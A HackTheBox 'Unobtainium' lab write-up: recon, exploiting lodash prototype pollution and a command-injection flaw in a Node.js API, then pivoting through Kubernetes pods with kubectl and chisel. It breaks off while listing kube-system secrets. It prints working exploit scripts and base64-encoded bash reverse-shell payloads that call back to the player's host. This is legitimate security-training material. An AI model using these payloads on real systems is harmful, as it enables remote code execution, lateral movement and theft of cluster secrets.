Posts Hackthebox Unobtainium writeup
Post
Cancel

Hackthebox Unobtainium writeup

Introduction@Unobtainium:~$

Column Details
Name Unobtainium
IP 10.10.10.235
Points 40
Os Linux
Difficulty Hard
Creator felamos
Out On 10 Apr 2021

Pwned

Recon

Nmap

┌───[us-free-1]─[10.10.14.81]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ nmap -sC -sV -p- -oA nmap/result 10.10.10.235
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-28 08:57 CDT
Nmap scan report for 10.10.10.235
Host is up (0.22s latency).
PORT      STATE SERVICE          REASON         VERSION
22/tcp    open  ssh              syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
|   256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_  256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp    open  http             syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp  open  ssl/etcd-client? syn-ack ttl 63
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T07:10:30
| Not valid after:  2022-01-17T07:10:30
| MD5:   bf49 c77d 7900 011e 603c 26f5 9620 af5d
|_SHA-1: 3ad8 d245 3655 0459 3cae 0454 0992 b85d c7ca 7531
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
2380/tcp  open  ssl/etcd-server? syn-ack ttl 63
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T07:10:30
| Not valid after:  2022-01-17T07:10:30
| MD5:   f920 4337 4559 aad2 fd5c 41bf 0b9c 827c
|_SHA-1: 729f 3481 33c5 eaba 5922 1b34 8bb8 e052 a107 a521
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  h2
| tls-nextprotoneg:
|_  h2
8443/tcp  open  ssl/https-alt    syn-ack ttl 63
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Mon, 12 Apr 2021 02:52:45 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Mon, 12 Apr 2021 02:52:44 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions:
|     HTTP/1.0 403 Forbidden
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
|     X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
|     Date: Mon, 12 Apr 2021 02:52:44 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T02:30:32
| Not valid after:  2022-04-12T02:30:32
| MD5:   3f48 15e8 7ed6 560f e45f d2f3 5b2d e71a
|_SHA-1: f127 e2d1 e333 541d 2016 9025 2c1b c9b3 7a87 c2e7
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10249/tcp open  http             syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Issuer: commonName=unobtainium-ca@1610865428
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T05:37:08
| Not valid after:  2022-01-17T05:37:08
| MD5:   fa5f 3f5c 5f93 30d2 5105 2aad 71a4 96f6
|_SHA-1: d67f 5a73 83b7 2393 1612 e88a 12c5 6bf1 9552 36b3
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|   h2
|_  http/1.1
10256/tcp open  http             syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open  http             syn-ack ttl 62 Node.js Express framework
| http-methods:
|   Supported Methods: GET HEAD PUT DELETE POST OPTIONS
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

There is a lot's of ports open

Let's start with port-80

Port-80

There is a simple html page.

Port-80

Let's download the .deb package because i am using parrot-os.

unobtainium.htb

Unzip the file we got .deb package.

Let's extract the files inside .deb package without installing them.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ ls
unobtainium_1.0.0_amd64.deb  unobtainium_1.0.0_amd64.deb.md5sum  unobtainium_debian.zip
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ mkdir stuff
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ dpkg-deb -xv unobtainium_1.0.0_amd64.deb stuff
./
./usr/
./usr/share/
./usr/share/icons/
./usr/share/icons/hicolor/
./usr/share/icons/hicolor/32x32/
./usr/share/icons/hicolor/32x32/apps/
./usr/share/icons/hicolor/32x32/apps/unobtainium.png
./usr/share/icons/hicolor/48x48/
./usr/share/icons/hicolor/48x48/apps/
./usr/share/icons/hicolor/48x48/apps/unobtainium.png
./usr/share/icons/hicolor/256x256/
./usr/share/icons/hicolor/256x256/apps/
./usr/share/icons/hicolor/256x256/apps/unobtainium.png
./usr/share/icons/hicolor/128x128/
./usr/share/icons/hicolor/128x128/apps/
./usr/share/icons/hicolor/128x128/apps/unobtainium.png
./usr/share/icons/hicolor/64x64/
./usr/share/icons/hicolor/64x64/apps/
./usr/share/icons/hicolor/64x64/apps/unobtainium.png
./usr/share/icons/hicolor/16x16/
./usr/share/icons/hicolor/16x16/apps/
./usr/share/icons/hicolor/16x16/apps/unobtainium.png
./usr/share/applications/
./usr/share/applications/unobtainium.desktop
./usr/share/doc/
./usr/share/doc/unobtainium/
./usr/share/doc/unobtainium/changelog.gz
./opt/
./opt/unobtainium/
./opt/unobtainium/libvulkan.so
./opt/unobtainium/chrome_100_percent.pak
./opt/unobtainium/unobtainium
./opt/unobtainium/libffmpeg.so
./opt/unobtainium/snapshot_blob.bin
./opt/unobtainium/v8_context_snapshot.bin
./opt/unobtainium/vk_swiftshader_icd.json
./opt/unobtainium/LICENSE.electron.txt
./opt/unobtainium/locales/
./opt/unobtainium/locales/th.pak
./opt/unobtainium/locales/da.pak
./opt/unobtainium/locales/gu.pak
./opt/unobtainium/locales/ro.pak
./opt/unobtainium/locales/it.pak
./opt/unobtainium/locales/fil.pak
./opt/unobtainium/locales/fi.pak
./opt/unobtainium/locales/ml.pak
./opt/unobtainium/locales/hu.pak
./opt/unobtainium/locales/id.pak
./opt/unobtainium/locales/zh-CN.pak
./opt/unobtainium/locales/bg.pak
./opt/unobtainium/locales/hi.pak
./opt/unobtainium/locales/sk.pak
./opt/unobtainium/locales/fr.pak
./opt/unobtainium/locales/mr.pak
./opt/unobtainium/locales/et.pak
./opt/unobtainium/locales/kn.pak
./opt/unobtainium/locales/ar.pak
./opt/unobtainium/locales/he.pak
./opt/unobtainium/locales/sv.pak
./opt/unobtainium/locales/en-GB.pak
./opt/unobtainium/locales/cs.pak
./opt/unobtainium/locales/te.pak
./opt/unobtainium/locales/el.pak
./opt/unobtainium/locales/pt-PT.pak
./opt/unobtainium/locales/hr.pak
./opt/unobtainium/locales/ru.pak
./opt/unobtainium/locales/ca.pak
./opt/unobtainium/locales/es.pak
./opt/unobtainium/locales/sw.pak
./opt/unobtainium/locales/uk.pak
./opt/unobtainium/locales/fa.pak
./opt/unobtainium/locales/ko.pak
./opt/unobtainium/locales/es-419.pak
./opt/unobtainium/locales/vi.pak
./opt/unobtainium/locales/lv.pak
./opt/unobtainium/locales/zh-TW.pak
./opt/unobtainium/locales/pl.pak
./opt/unobtainium/locales/pt-BR.pak
./opt/unobtainium/locales/sl.pak
./opt/unobtainium/locales/nl.pak
./opt/unobtainium/locales/ja.pak
./opt/unobtainium/locales/sr.pak
./opt/unobtainium/locales/am.pak
./opt/unobtainium/locales/bn.pak
./opt/unobtainium/locales/ms.pak
./opt/unobtainium/locales/nb.pak
./opt/unobtainium/locales/tr.pak
./opt/unobtainium/locales/de.pak
./opt/unobtainium/locales/ta.pak
./opt/unobtainium/locales/en-US.pak
./opt/unobtainium/locales/lt.pak
./opt/unobtainium/chrome-sandbox
./opt/unobtainium/libEGL.so
./opt/unobtainium/resources/
./opt/unobtainium/resources/app.asar
./opt/unobtainium/chrome_200_percent.pak
./opt/unobtainium/libGLESv2.so
./opt/unobtainium/swiftshader/
./opt/unobtainium/swiftshader/libEGL.so
./opt/unobtainium/swiftshader/libGLESv2.so
./opt/unobtainium/resources.pak
./opt/unobtainium/icudtl.dat
./opt/unobtainium/LICENSES.chromium.html
./opt/unobtainium/libvk_swiftshader.so
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ ls
stuff  unobtainium_1.0.0_amd64.deb  unobtainium_1.0.0_amd64.deb.md5sum  unobtainium_debian.zip
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ cd stuff/
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff]
└──╼ [★]$ ls
opt  usr

Inside stuff/opt/unobtainium/ there is a executable called unobtainium

Let's run that

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium]
└──╼ [★]$ pwd
/root/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium]
└──╼ [★]$ ls
chrome_100_percent.pak  icudtl.dat    libGLESv2.so          LICENSE.electron.txt    resources          swiftshader              vk_swiftshader_icd.json
chrome_200_percent.pak  libEGL.so     libvk_swiftshader.so  LICENSES.chromium.html  resources.pak      unobtainium
chrome-sandbox          libffmpeg.so  libvulkan.so          locales                 snapshot_blob.bin  v8_context_snapshot.bin
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium]
└──╼ [★]$ ./unobtainium --no-sandbox
(node:8364) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron.  See https://github.com/electron/electron/issues/23506 for more information

unobtainium.htb

We got the error Unable to reach unobtainium.htb.

Let's add unobtainium.htb in our /etc/hosts file.

unobtainium.htb

Let's again open the executable and this time we don't get error.

unobtainium.htb

I think this executable contact to a server so for capture the packet i use wireshark on tun0.

And i am right when i click on Todo they send a POST req to the server.

unobtainium.htb

Let's check what was capture inside this POST req.

unobtainium.htb

POST /todo HTTP/1.1

Host: unobtainium.htb:31337

Connection: keep-alive

Content-Length: 73

Accept: application/json, text/javascript, \*/\*; q=0.01

User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36

Content-Type: application/json

Accept-Encoding: gzip, deflate

Accept-Language: en-US

  

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 293

ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"

Date: Sat, 17 Apr 2021 04:41:15 GMT

Connection: keep-alive

Keep-Alive: timeout=5

  

{"ok":true,"content":"1. Create administrator zone.\\n2. Update node JS API Server.\\n3. Add Login functionality.\\n4. Complete Get Messages feature.\\n5. Complete ToDo feature.\\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json\_api/v1\\n7. Improve security\\n"}

We got the creads.

It's seems like Todo function has the capability to read files from the server.

For the simplicity i wrote a script to check if we also read file from the server?.

I also run the burp for capture the req.

Before running the script install the requirements for the script.

apt-get install jq

dedsec.sh

#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

CONTENT="$(curl -s \
                -A "${UA}" \
                -H "Content-Type: application/json" \
                -d "$(cat message.json | jq -c)" \
                -x "${PROXY}" \
                http://${RHOST}:${RPORT}/todo \
           | jq .content \
           | sed -e 's/^.//' -e 's/.$//')"

printf "$CONTENT"

unobtainium.htb

Got the req let's send it to repeater and check the responce.

unobtainium.htb

unobtainium.htb

It's said No such file or directory found because we don't give any filename and we also see a interesting file called index.js.

Let's add index.js inside filename.

unobtainium.htb

We got the index.js but it in bad format.

After Beautify the file we got this.

Index.js

var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
 {name: 'felamos', password: 'Winter2021'},
 {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
 return users.find((u) =>
 u.name === auth.name &&
 u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
 res.send(messages);
});

app.put('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 const message = {
 icon: '__',
 };

 _.merge(message, req.body.message, {
 id: lastId++,
 timestamp: Date.now(),
 userName: user.name,
 });

 messages.push(message);
 res.send({ok: true});
});

app.delete('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user || !user.canDelete) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 messages = messages.filter((m) => m.id !== req.body.messageId);
 res.send({ok: true});
});
app.post('/upload', (req, res) => {
 const user = findUser(req.body.auth || {});
 if (!user || !user.canUpload) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }


 filename = req.body.filename;
 root.upload("./",filename, true);
 res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
        const user = findUser(req.body.auth || {});
        if (!user) {
                res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }

        filename = req.body.filename;
 testFolder = "/usr/src/app";
 fs.readdirSync(testFolder).forEach(file => {
 if (file.indexOf(filename) > -1) {
 var buffer = fs.readFileSync(filename).toString();
 res.send({ok: true, content: buffer});
 }
 });
});

app.listen(3000);
console.log('Listening on port 3000...');

After reading the file i found nothing interesting but i am sure that it's using react or nodejs or something like that if the server uses that so there is a file called package.json which has the list of npm packages used and we also find vulnerability for that specific packages.

unobtainium.htb

After beautify the package.json and we got this

package.json

{
  "name": "Unobtainium-Server",
  "version": "1.0.0",
  "description": "API Service for Electron client",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "author": "felamos",
  "license": "ISC",
  "dependencies": {
    "body-parser": "1.18.3",
    "express": "4.16.4",
    "lodash": "4.17.4",
    "google-cloudstorage-commands": "0.0.1"
  },
  "devDependencies": {}
}
Lodash : Prototype Pollution
google-cloudstorage-commands : Command Injection

With the help of Lodash -> Prototype Pollution we give ourself a permission of upload & delete with changing canDelete and canUpload to be True.

And with help of google-cloudstorage-commands -> Command Injection We can execute commands on server.

So let's first give ourself a permission to upload file and delete files

For that i create a script to keep things simple.

Exploit.sh

#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "message":
    {
        "text":${TEXT}
    }
}
EOF

curl -s \
     -X PUT \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/" \
| jq .

Let's run the exploit

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ chmod +x exploit.sh 
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ ./exploit.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
  "ok": true
}
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ 

It's responce is true means now we have the permission.

Let's check we can write in a file or not.

I create another one exploit to write in a file.

exploit_stage2.sh

#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE="& echo dedsec | tee dedsec.txt"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

curl -s \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     -o /dev/null \
     "http://${RHOST}:${RPORT}/upload"

The exploit write the content "dedsec" inside dedsec.txt.

Now let's run the exploit and capture the req in burp.

unobtainium.htb

It's said true. it's means we should be able to read dedsec.txt and get the content dedsec inside dedsec.txt.

unobtainium.htb

Just change filename to dedsec.txt for view the content inside that.

unobtainium.htb

And we see dedsec inside dedsec.txt Now let's try to get reverse shell through that.

Just add the reverse shell inside filename.

Before send req start your netcat listner.

unobtainium.htb

POST /upload HTTP/1.1
Host: unobtainium.htb:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Content-Length: 151
Connection: close

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo $(echo 'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1' | base64) | base64 -d | bash"}

Let's check the netcat listner.

unobtainium.htb

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ nc -nvlp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:34380.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app#

Boom we got the shell.

First Let's get our user.txt inside /root/.

unobtainium.htb

Privilege escalation

And if you notice we are root i think it's a docker container.

Anyway let's run linpeas.

unobtainium.htb

there is a cronjob running that removes kubectl in the container every minute.

But there is no kubectl executable in the container.

Let's download a kubectl executable and transfer it in docker inside /tmp folder.

Link : Install kubectl binary with curl on Linux

unobtainium.htb

We change the name of kubectl to xkubectl to avoid being removed by the cron job.

unobtainium.htb

Now let's first check the version of kubectl.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl version --short
Client Version: v1.21.0
Server Version: v1.20.0
root@webapp-deployment-5d764566f4-mbprj:/# 

Now let’s see current rights with kubectl with privileged resources like secrets.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list secrets
no
root@webapp-deployment-5d764566f4-mbprj:/# 

let's check about namespaces.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped
yes
root@webapp-deployment-5d764566f4-mbprj:/# 

Let’s list all the namespaces.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl get namespace             
NAME              STATUS   AGE
default           Active   90d
dev               Active   89d
kube-node-lease   Active   90d
kube-public       Active   90d
kube-system       Active   90d
root@webapp-deployment-5d764566f4-mbprj:/# 
root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list secrets -n dev
no
root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list secrets -n kube-system
no 

We don't have permission of any namespaces.

Let's check if we have permission of pods or not in the dev namespaces.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list pods -n dev
yes
root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl get pods -n dev            
NAME                                READY   STATUS    RESTARTS   AGE
devnode-deployment-cd86fb5c-6ms8d   1/1     Running   28         89d
devnode-deployment-cd86fb5c-mvrfz   1/1     Running   29         89d
devnode-deployment-cd86fb5c-qlxww   1/1     Running   29         89d
root@webapp-deployment-5d764566f4-mbprj:/# 
Link : Pods

A Kubernetes cluster can have one or more nodes. Each node can have one or more Pods. Each Pod can have one or more running containers.

And we see in the previous command there is three Pods each with a running container in the dev namespace.

Let's list the description of one of the Pods.

root@webapp-deployment-5d764566f4-lrpt9:/# /tmp/xkubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Name:         devnode-deployment-cd86fb5c-6ms8d
Namespace:    dev
Priority:     0
Node:         unobtainium/10.10.10.235
Start Time:   Sun, 17 Jan 2021 18:16:21 +0000
Labels:       app=devnode
              pod-template-hash=cd86fb5c
Annotations:  <none>
Status:       Running
IP:           172.17.0.4
IPs:
  IP:           172.17.0.4
Controlled By:  ReplicaSet/devnode-deployment-cd86fb5c
Containers:
  devnode:
    Container ID:   docker://fed5d9bb3199fbca3f8ad70377a9f9a65c8e55b4eea52d97b429347ad68202dc
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Thu, 15 Apr 2021 05:04:44 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Wed, 24 Mar 2021 16:01:28 +0000
      Finished:     Wed, 24 Mar 2021 16:02:13 +0000
    Ready:          True
    Restart Count:  28
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-rmcd6:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-rmcd6
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:          <none>

If you notice the difference i am in a webapp-deployment container enumerating devnode-deployment containers in Pods running in the dev namespace.

We are looking at two different environments, the classic production environment and the development environment. I should be able to repeat the steps i just have to make the RHOST and RPORT variables and upload them to the container I’m currently in above to get another foothold in the development environment.

For that we need to forward the port to the devnode-deployment container "172.17.0.4:3000"

I am using Chisel for that.

If you don't known how to use chisel or how to download it check this out.

Link : Chisel

First i run chisel in my parrot os to open a server.

unobtainium.htb

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[/opt/chisel/linux]
└──╼ [★]$ ./chisel server -p 9999 --reverse
2021/04/17 03:35:08 server: Reverse tunnelling enabled
2021/04/17 03:35:08 server: Fingerprint aKyrwTTxlfOA+sBiTfpCMn++HxJrJUPZibazBNhgrLs=
2021/04/17 03:35:08 server: Listening on http://0.0.0.0:9999

Now transfer the chisel in box and and execute as client.

unobtainium.htb

root@webapp-deployment-5d764566f4-mbprj:/tmp# ls
chisel  f  v8-compile-cache-0  xkubectl
root@webapp-deployment-5d764566f4-mbprj:/tmp# chmod +x chisel 
root@webapp-deployment-5d764566f4-mbprj:/tmp# ./chisel client 10.10.14.12:9999 R:3000:172.17.0.4:3000
2021/04/17 08:46:38 client: Connecting to ws://10.10.14.12:9999
2021/04/17 08:46:40 client: Connected (Latency 234.18646ms)

Now we are connected let's give us permission for canDelete and canUpload.

I again made the script for give permissions devnode-deployment container.

read_write.sh

#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "message":
    {
        "text":${TEXT}
    }
}
EOF

curl -s \
     -X PUT \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/" \
| jq .

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

Now we all set let's run the exploit.

unobtainium.htb

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ ./read_write.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
  "ok": true
}

For reverse shell i create another script.

rev.sh

#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

curl -s \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     -o /dev/null \
     "http://${RHOST}:${RPORT}/upload"

Now let's get our reverse shell with devnode-deployment.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ chmod +x rev.sh
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ ./rev.sh "& echo $(echo 'bash -i >& /dev/tcp/10.10.14.12/9002 0>&1' | base64) | base64 -d | bash"
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ 

unobtainium.htb

Boom we got the shell as devnode-deployment.

Now again tranfer the kubectl executable in the box and check if we list secrets now.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# ls
kubectl  v8-compile-cache-0
root@devnode-deployment-cd86fb5c-qlxww:/tmp# chmod +x kubectl 
root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl auth can-i list secrets -n kube-system
yes
root@devnode-deployment-cd86fb5c-qlxww:/tmp# 

Yes we have the permission now Let get the secrets.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl get secrets -n kube-system            
